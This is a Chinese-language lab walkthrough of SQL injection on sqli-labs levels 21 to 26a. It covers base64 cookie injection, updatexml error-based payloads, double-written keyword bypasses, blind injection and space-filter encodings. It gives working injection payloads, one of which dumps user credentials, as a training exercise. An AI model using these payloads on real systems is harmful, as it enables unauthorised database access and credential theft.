SQL注入基础学习5
SQL注入基础学习5
二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)
靶场采用sqli-labs
21、第21关
第21关是也是属于cookie
注入的
-
登陆后查看页面或者报头信息(如图一),会发现,输入时uname=admin1,但是页面上显示的 YWRtaW4x 说明被编码了,试一下bsae64解码(如图二),
图一图二 -
测试闭合方式,闭合方式为
')'
-
测试列数以及回显位,列数为3
-
该关卡用输出文件的方式来做,将经过base64编码后的语句复制到
uname=
后面,此时 -
查看输出的文件
22、第22关
22关也可以在cookie注入,和21关类似,将注入的语句转为base64
编码就可以了,可以直接在burp转。闭合方式为"
闭合
三、sqli-labs的page-2
1、第23关
-
输入单引号会正常报错,但是进行后面的操作的时候,通过
burpsuite
查看报头,发现不论是用--+
还是#
都会被注释了 -
查看源码,代码中将所有的外部输入的注释字符都给替换为空了
-
构造语句时,不能使用注释符。构造的注入语句如下,用
'1'='1
来闭合后面的'
?id=1' and 1=updatexml(1,concat(0x7e,(select database())),3) or '1'='1 ?id=1' and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or '1'='1
2、第25关
第25关是对or和and进行过滤
-
查看源码,发现只是进行了一次过滤,那么就可以进行双写绕过
-
闭合方式是
'
,但是后面进行注释的时候,发现#
不管用,此时采用--+
来注释,payload
如下?id=1' order by 3--+ ?id=-1' union select 1,2,3--+ ?id=-1' union select 1,2,(select database())--+ ?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() ),3 --+ ?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),3 --+ ?id=-1' union select 1,(select group_concat(username,':',passwoorrd) from users),3 --+
3、第25a关
该关卡是盲注加上过滤or
和and
;可以用脚本或者burpsuite
的爆破模式来做,爆破的时候建议转成ascii来做,直接用字符相等的话,爆破出来的好像不分大小写
payload
如下:
//数据的第一个字符
?id=1 anandd if (mid((select database()),1,1)='s',1,0)--+
字符对比
acsii对比
4、第26关
该关卡是过滤or
和and
还有空格
-
查看页面源码
发现可以用编码绕过,
- 常用与绕过过滤空格的手法
- 使用
+
代替 %09
TAB键%0a
新建一行%0c
新的一页%0d
return 功能%0b
TAB键(垂直)%a0
空格/**/
/*!*/
- 使用
- 经过测试,可以用%a0进行绕过
- 常用与绕过过滤空格的手法
5、第26a关
在25关的基础上加上盲注,盲注的话,需要修改一下上一个的payload
,需要将or
修改为and
,要用逻辑与,保证每一个条件都正确,页面才显示的是正确的页面,可以用burpsuite
半自动化测试
?id=1'%a0anandd%a0if(length(database())=8,1,0)%a0anandd%a0'1'='1